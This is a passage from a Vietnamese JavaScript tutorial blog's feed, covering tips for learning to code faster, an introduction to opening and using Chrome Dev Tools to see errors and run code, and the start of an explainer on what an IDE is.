href="#ngh%C4%A9-ch%E1%BA%ADm-h%C6%A1n-v%C3%A0-b%E1%BA%A1n-s%E1%BA%BD-h%E1%BB%8Dc-nhanh-h%C6%A1n" aria-label="nghĩ chậm hơn và bạn sẽ học nhanh hơn permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nghĩ chậm hơn và bạn sẽ học nhanh hơn</h2> <p>Điều này nghe có vẻ trái ngược với trực giác của bạn. Tuy nhiên hãy để tôi giải thích nó với một câu chuyện.</p> <p>Khi bắt đầu học lập trình JavaScript, một người bạn của tôi đã thấy mơ hồ về một tính năng trong đó. Tôi đã yêu cầu anh ấy chỉ cho tôi những gì anh ấy biết, rồi sau đó giải thích phần mà anh ta khó hiểu. Nhưng anh ấy đã thật sự lướt qua nó, rất vội vàng.</p> <p>Tôi nói: "Bình tĩnh! Chậm lại và giải thích cho tôi từng bước một."</p> <p>Bạn tôi bắt đầu đưa cho tôi một bản tóm tắt về những gì xảy ra ở trong đoạn code đó.</p> <p>Tôi dừng anh ấy lại một lần nữa. Tôi nói: "Bạn lại quá vội vàng. Thử lại một lần nữa. Nhưng lần này, tôi muốn bạn thực sự chỉ cho tôi từng dòng code trong đó xem chuyện gì sẽ xảy ra với nó."</p> <p>Lần này, bạn tôi đã có thể giải thích được những gì xảy ra với đoạn code đó tốt hơn. Chìa khoá ở đây là anh ấy dành thời gian cho từng bước ở trong đó, thay vì cố gắng hiểu toàn bộ nó trong một lần.</p> <p>Trong những trường hợp tương tự, suy nghĩ chậm hơn thực sự giúp bạn học nhanh hơn.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQozwGfAmD9AAwPEzMuKSomIh0dGy0nISEfHCYkIBEQDgYGBXBmWcuylG9kVCciGx8fHSAeHSIYEwQECDY6Px4kKyEfIAAbFhYgIRoyLShQSUNRTEY0MzFNSUNCPjs5OTlfU0TGpHyBcVohEQ8+LyY5Ni4/MSceHBkxMzQSFxskGhcAHxcYUlUvW1lMZl1XVE1HRT86X1ZKVFZYdnh5ZWJgpY1wzcOzgWptSzUuGhsaJicnICAgHx0aKCEbIB0aABkWGFBFPVBTS0NHQjwzMC8rKC4mHjk2NLm7v8LCwuLk6fr7+/7//8jN0CwvMTEsKCknJT03MjQuKTQzMgBOSUJHQDtQUExKS0RXTERFREVFOzKbmpvi6PPV1tvz+P/n6OrRz874/P+4uLcsKyhPQztrYVdDPzo/ODMAs6ePkIZ4KiIcQDwzY1hKaFZDeWVR1tfcrLS+xcrUyc3Uvbu9Z1ZGwMDC7/T6ZmFcPTUtVUxGPj4+hoB5ALOXh2ZfVUpDPltVS2JdVUxLSHBjUbO0tXl5eaGmrrS4vri9wry7vK6ws7m9wqqpqjUwMTw7JktLOFFRVACKZGw7QFwgIyM/OzhJRkQpKjFbVExgWFBfVk6+xM7U2+bAxtCkrK54foJOS0ZgXltTSUVTTTwpLSZMQz0AYD9anJ6mGhkaP0ZLU1BLSU5OMjAxKS4sS0U/zM3T2N7q5Ojx5+vxvL2+QTcvOTQsTUY/Mi4rLSgpU0Y8AFoXHMirloaCflVfaFtjaGiFilRMT1JVVGRhV9bW2uzx/PT2+////+jo6EVHSWBZRExKRV9fSislJU5GQQB3Gi1tSTiXhWl9dm15fX13gHxoIihNKSdjZ2TQ093t8fzz9vv////a2NdiXlhgVEo3NDFUSD0iIiFHPzfX9ASHOgsDJAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="just calm down" title="just calm down" src="/static/7345fab2ab287f4df4c40c38839c0cd8/7c811/just-calm-down-hoc-lap-trinh-javascript-nhanh-hon-completejavascript.com_.png" srcset="/static/7345fab2ab287f4df4c40c38839c0cd8/103f2/just-calm-down-hoc-lap-trinh-javascript-nhanh-hon-completejavascript.com_.png 165w, /static/7345fab2ab287f4df4c40c38839c0cd8/748ba/just-calm-down-hoc-lap-trinh-javascript-nhanh-hon-completejavascript.com_.png 330w, /static/7345fab2ab287f4df4c40c38839c0cd8/7c811/just-calm-down-hoc-lap-trinh-javascript-nhanh-hon-completejavascript.com_.png 660w, /static/7345fab2ab287f4df4c40c38839c0cd8/a27c6/just-calm-down-hoc-lap-trinh-javascript-nhanh-hon-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="viết-những-code-phức-tạp-bằng-ngôn-ngữ-dễ-hiểu-trước" style="position:relative;"><a href="#vi%E1%BA%BFt-nh%E1%BB%AFng-code-ph%E1%BB%A9c-t%E1%BA%A1p-b%E1%BA%B1ng-ng%C3%B4n-ng%E1%BB%AF-d%E1%BB%85-hi%E1%BB%83u-tr%C6%B0%E1%BB%9Bc" aria-label="viết những code phức tạp bằng ngôn ngữ dễ hiểu trước permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Viết những code phức tạp bằng ngôn ngữ dễ hiểu trước</h2> <p>Khi học lập trình JavaScript, nếu những đoạn code trở nên phức tạp, hay khó hiểu, hãy viết nó ra bằng ngôn ngữ dễ hiểu trước. Bằng cách đó, bạn có thể hiểu được những gì bạn muốn ở đoạn code đó trước khi thực sự viết nó. Đây là hai lợi ích của cách tiếp cận này:</p> <ul> <li>Code của bạn sẽ dễ hiểu hơn và nhanh hơn để viết. Bởi vì bạn sẽ không mất thời gian để dừng lại và suy nghĩ về những gì đoạn code đó sẽ làm.</li> <li>Bạn sẽ phát hiện ra lỗi trước khi nó xảy ra. Bởi vì bạn có một ý tưởng rõ ràng về đoạn code đó.</li> </ul> <blockquote> <p>Make the complex simple - Simple programmer</p> </blockquote> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Chúng ta đã đi qua một số cách để học lập trình Javascript nhanh hơn. Tuy nhiên, bạn hoàn toàn có thể áp dụng chúng ở bất kì một kĩ năng nào. Đây là tóm tắt lại những mẹo trên:</p> <ul> <li>Dừng lo lắng về những quyết định tương lai và cứ lao vào học.</li> <li>Thực hành một cách vui vẻ với những kĩ năng mới giống như một đồ chơi mới.</li> <li>Tìm thời gian để code bằng việc cam kết lúc đầu nhỏ, giống như cách bạn vào các trang Facebook, Youtube, Wikipedia hay Reddit.</li> <li>Chậm lại, thực hiện những bước nhỏ hơn, bạn sẽ học lập trình JavaScript nhanh hơn.</li> </ul> <p>Vậy bạn tiếp cận việc học như thế nào? Bạn có bất kì mẹo hay kinh nghiệm nào mà tôi chưa kể ra ở đây. Hoặc có thể bạn nghĩ rằng đây toàn là những thứ vớ vẩn, cách tốt nhất để học là dành 12 giờ một ngày để lập trình. Dù sao, tôi cũng muốn lắng nghe ý kiến của bạn thông qua những bình luận phía dưới.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p> <p><em>(Bài viết được dịch từ <a href="https://www.sitepoint.com/mind-tricks-to-learn-javascript-faster/">Sitepoint.com</a>)</em></p>[email protected]<![CDATA[Dev Tools là gì?]]><![CDATA[Trong lập trình, việc code lỗi là không thể tránh khỏi. Nhưng trên trình duyệt, bạn thường sẽ không nhìn thấy những lỗi này. Mà thay vào đó, bạn cần xem thông qua một công cụ. Đó…]]>https://completejavascript.com/dev-tools-la-gi/https://completejavascript.com/dev-tools-la-gi/<![CDATA[Console]]><![CDATA[Debug]]><![CDATA[Trình duyệt]]>Wed, 26 Apr 2017 20:00:00 GMT<p>Trong lập trình, việc code lỗi là không thể tránh khỏi. Nhưng trên trình duyệt, bạn thường sẽ không nhìn thấy những lỗi này. Mà thay vào đó, bạn cần xem thông qua một công cụ. Đó chính là Dev Tools.</p> <h2 id="dev-tools-là-gì" style="position:relative;"><a href="#dev-tools-l%C3%A0-g%C3%AC" aria-label="dev tools là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dev Tools là gì?</h2> <p>Dev Tools (developer tools) là công cụ được tích hợp sẵn trong trình duyệt, giúp các lập trình viên có thể dễ dàng truy cập vào nội bộ của trình duyệt và ứng dụng trang web của họ.</p> <p>Dev Tools có nhiều tính năng. Nhưng trong phạm vi bài viết này, mình sẽ tìm hiểu cơ bản về cách mở Dev Tools, cách xem lỗi, và cách để chạy code JavaScript trên đó.</p> <p>Ngoài ra, vì dev tools trên các trình duyệt cũng gần giống nhau nên mình sẽ tập trung vào một loại trình duyệt phổ biến, hỗ trợ đa nền tảng (Windows, macOS và Linux). Đó là "Google Chrome Developer Tools" hay gọi tắt là "Chrome Dev Tools".</p> <h2 id="chrome-dev-tools" style="position:relative;"><a href="#chrome-dev-tools" aria-label="chrome dev tools permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chrome Dev Tools</h2> <p>Trước tiên, bạn hãy mở trang demo này: <a target="_blank" rel="noopener noreferrer" href="https://blogpost-demo.pages.dev/devtools/bug">bug.html</a>.</p> <p>Trong trang này, mình đã cố tình tạo ra một lỗi. Nhưng rõ ràng là bạn vẫn nhìn thấy trang web hiển thị bình thường phải không?</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 26.666666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAFABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAG+AD//xAAUEAEAAAAAAAAAAAAAAAAAAAAQ/9oACAEBAAEFAn//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAQ/9oACAEBAAY/An//xAAWEAADAAAAAAAAAAAAAAAAAAABEBH/2gAIAQEAAT8hgf8A/9oADAMBAAIAAwAAABBzz//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABgQAAMBAQAAAAAAAAAAAAAAAAABEVEh/9oACAEBAAE/EO1lIsRFh//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="giao diện demo" title="giao diện demo" src="/static/1e7a87b2d8d7debdfd72dd6a67842fb0/5ab81/dev-tools-la-gi-1.jpg" srcset="/static/1e7a87b2d8d7debdfd72dd6a67842fb0/e4e7a/dev-tools-la-gi-1.jpg 165w, /static/1e7a87b2d8d7debdfd72dd6a67842fb0/4f5c6/dev-tools-la-gi-1.jpg 330w, /static/1e7a87b2d8d7debdfd72dd6a67842fb0/5ab81/dev-tools-la-gi-1.jpg 660w, /static/1e7a87b2d8d7debdfd72dd6a67842fb0/cb61f/dev-tools-la-gi-1.jpg 955w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để xem lỗi chi tiết, bạn cần mở Chrome Dev Tools lên bằng cách nhấn phím <strong>F12</strong> hoặc tổ hợp phím <strong>Ctrl Shift I</strong> trên Windows (<strong>Ctrl Opt J</strong> trên macOS).</p> <p>Chrome Dev Tools sẽ mở tab "Console" đầu tiên (hoặc nếu không thì bạn chủ động nhấn vào tab đó). Kết quả sẽ như sau:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 32.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAECBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAd+oSD//xAAWEAADAAAAAAAAAAAAAAAAAAAAEBH/2gAIAQEAAQUCIv/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAABD/2gAIAQEABj8Cf//EABgQAAMBAQAAAAAAAAAAAAAAAAABEUFh/9oACAEBAAE/IYhRpOn/2gAMAwEAAgADAAAAEHPP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAFxABAAMAAAAAAAAAAAAAAAAAAFFhcf/aAAgBAQABPxCpKNn/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="hiển thị tab console" title="hiển thị tab console" src="/static/407708833dde78af47c6f28a4ff219c5/5ab81/dev-tools-la-gi-2.jpg" srcset="/static/407708833dde78af47c6f28a4ff219c5/e4e7a/dev-tools-la-gi-2.jpg 165w, /static/407708833dde78af47c6f28a4ff219c5/4f5c6/dev-tools-la-gi-2.jpg 330w, /static/407708833dde78af47c6f28a4ff219c5/5ab81/dev-tools-la-gi-2.jpg 660w, /static/407708833dde78af47c6f28a4ff219c5/dbd84/dev-tools-la-gi-2.jpg 937w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Giao diện chính xác có thể khác nhau đôi chút tùy theo phiên bản trình duyệt Chrome. Nhưng thường thì nội dung sẽ bao gồm:</p> <ul> <li>Dòng màu đỏ: thông báo lỗi ("Uncaught ReferenceError: bug is not defined").</li> <li>Bên phải và/hoặc ở dưới: hiển thị vị trí lỗi, chính xác với số dòng ("bug:11" - ở đây là dòng 11). Bạn có thể nhấn vào đó. Chrome Dev Tools sẽ hiển thị chính xác dòng bị lỗi trong mã nguồn.</li> </ul> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 33.33333333333333%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEF/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/2gAMAwEAAhADEAAAAd2CUH//xAAVEAEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAQABBQJL/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFhABAQEAAAAAAAAAAAAAAAAAADEh/9oACAEBAAY/AsRH/8QAGRAAAgMBAAAAAAAAAAAAAAAAAFEBESFh/9oACAEBAAE/IZENYvo//9oADAMBAAIAAwAAABAMP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8QP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8QP//EABsQAQACAgMAAAAAAAAAAAAAAAEAEVHRYZHB/9oACAEBAAE/EEJY5sX2CVLDNm5y7zc//9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="hiển thị chi tiết lỗi" title="hiển thị chi tiết lỗi" src="/static/97dd5e8ffb8447f618b5df453700e4e6/5ab81/dev-tools-la-gi-3.jpg" srcset="/static/97dd5e8ffb8447f618b5df453700e4e6/e4e7a/dev-tools-la-gi-3.jpg 165w, /static/97dd5e8ffb8447f618b5df453700e4e6/4f5c6/dev-tools-la-gi-3.jpg 330w, /static/97dd5e8ffb8447f618b5df453700e4e6/5ab81/dev-tools-la-gi-3.jpg 660w, /static/97dd5e8ffb8447f618b5df453700e4e6/7ed05/dev-tools-la-gi-3.jpg 990w, /static/97dd5e8ffb8447f618b5df453700e4e6/8cfd8/dev-tools-la-gi-3.jpg 1225w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bên dưới dòng lỗi màu đỏ là kí tự <code>></code> màu xanh. Đó là nơi bạn có thể gõ lệnh JavaScript vào và chạy trực tiếp bằng cách nhấn <strong>Enter</strong>. Kết quả sẽ hiển thị ngay lập tức ở dưới.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 35.75757575757576%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAECBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAd+oSD//xAAVEAEBAAAAAAAAAAAAAAAAAAAAEf/aAAgBAQABBQJEf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAABD/2gAIAQEABj8Cf//EABgQAAIDAAAAAAAAAAAAAAAAAAABEWFx/9oACAEBAAE/IYQrGmf/2gAMAwEAAgADAAAAEHPP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAGBAAAgMAAAAAAAAAAAAAAAAAABARQWH/2gAIAQEAAT8QyIbIf//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="chạy code JavaScript" title="chạy code JavaScript" src="/static/292be512bacd0114dd3374fcf11fe285/5ab81/dev-tools-la-gi-4.jpg" srcset="/static/292be512bacd0114dd3374fcf11fe285/e4e7a/dev-tools-la-gi-4.jpg 165w, /static/292be512bacd0114dd3374fcf11fe285/4f5c6/dev-tools-la-gi-4.jpg 330w, /static/292be512bacd0114dd3374fcf11fe285/5ab81/dev-tools-la-gi-4.jpg 660w, /static/292be512bacd0114dd3374fcf11fe285/fc535/dev-tools-la-gi-4.jpg 929w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Ngoài ra, để gõ mã nguồn trên nhiều dòng, bạn hãy nhấn tổ hợp phím <strong>Shift Enter</strong>.</p> <p>Đến đây là bạn đã biết mở Dev Tools, xem lỗi và chạy code JavaScript trên đó rồi. Chi tiết hơn về các tính năng "bá đạo" của Chrome Dev Tools sẽ được trình bày ở các bài viết sau nhé!</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vậy Dev Tools là gì?</p> <ul> <li>Dev Tools là công cụ tích hợp sẵn trong trình duyệt, hỗ trợ lập trình viên xem lỗi, chạy code JavaScript,...</li> <li>Dev Tools trên các trình duyệt tương tự nhau. Bạn có thể làm quen với Chrome Dev Tools. Sau đó, bạn dễ dàng chuyển sang Dev Tools của các trình duyệt khác.</li> <li>Với đa phần các trình duyệt, bạn có thể nhấn <strong>F12</strong> hoặc tổ hợp phím <strong>Ctrl Shift I</strong> trên Windows (<strong>Ctrl Opt J</strong> trên macOS) để mở Chrome Dev Tools.</li> </ul>[email protected]<![CDATA[IDE là gì?]]><![CDATA[IDE là phần mềm máy tính không thể thiếu khi lập trình. Sau đây, mình sẽ cùng tìm hiểu xem IDE là gì. IDE có tác dụng gì khi lập trình JavaScript. Và một số IDE JavaScript tốt nhất…]]>https://completejavascript.com/ide-la-gi/https://completejavascript.com/ide-la-gi/Tue, 25 Apr 2017 20:00:00 GMT<p>IDE là phần mềm máy tính không thể thiếu khi lập trình. Sau đây, mình sẽ cùng tìm hiểu xem IDE là gì. IDE có tác dụng gì khi lập trình JavaScript. Và một số IDE JavaScript tốt nhất.</p> <h2 id="ide-là-gì" style="position:relative;"><a href="#ide-l%C3%A0-g%C3%AC" aria-label="ide là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>IDE là gì?</h2> <p>IDE là viết tắt của "Integrated Development Environment" hay "môi trường phát triển tích hợp". Về bản chất, IDE là một loại phần mềm máy tính cung cấp các công cụ cần thiết cho lập trình viên trong việc phát triển phần mềm.</p> <p>IDE thường bao gồm những thành phần sau:</p> <ul> <li>Trình soạn thảo (source code editor): dùng để viết mã nguồn (code).</li> <li><a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_bi%C3%AAn_d%E1%BB%8Bch">Trình biên dịch</a> (compiler) để dịch mã nguồn thành mã máy và/hoặc <a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_th%C3%B4ng_d%E1%BB%8Bch">trình thông dịch</a> (interpreter): dùng để thực thi mã nguồn.</li> <li><a href="https://vi.wikipedia.org/wiki/Tr%C3%ACnh_g%E1%BB%A1_l%E1%BB%97i">Trình gỡ lỗi</a> (debugger): hỗ trợ dò tìm lỗi trong mã nguồn.</li> <li>Ngoài ra, IDE có thể tích hợp <a href="https://vi.wikipedia.org/wiki/H%E1%BB%87_th%E1%BB%91ng_qu%E1%BA%A3n_l%C3%BD_phi%C3%AAn_b%E1%BA%A3n">hệ thống quản lý phiên bản</a> (VCS), công cụ gợi ý viết code, công cụ tìm kiếm, công cụ kéo thả giúp xây dựng giao diện đồ họa (GUI) dễ dàng hơn...</li> </ul> <p>Nhờ có IDE mà công việc lập trình trở nên đơn giản hơn, năng suất của lập trình viên cũng sẽ cao hơn.</p> <p>Vậy IDE lập trình JavaScript nào là tốt nhất?</p> <h2 id="ide-lập-trình-javascript" style="position:relative;"><a href="#ide-l%E1%BA%ADp-tr%C3%ACnh-javascript" aria-label="ide lập trình javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>IDE lập trình JavaScript</h2> <p>Thật khó để trả lời cho câu hỏi trên. Vì mỗi IDE đều có những ưu nhược điểm riêng. Hơn nữa, mục đích sử dụng của mỗi lập trình viên là khác nhau. Sở thích mỗi người cũng khác nhau.</p> <p>Tuy nhiên, mình thấy có hai IDE JavaScript khá phổ biến là:</p> <ul> <li><a href="https://code.visualstudio.com/">Visual Studio Code</a>.</li> <li><a href="http://www.jetbrains.com/webstorm/">WebStorm</a>.</li> </ul> <p>Cả hai IDE trên đều hỗ trợ <a 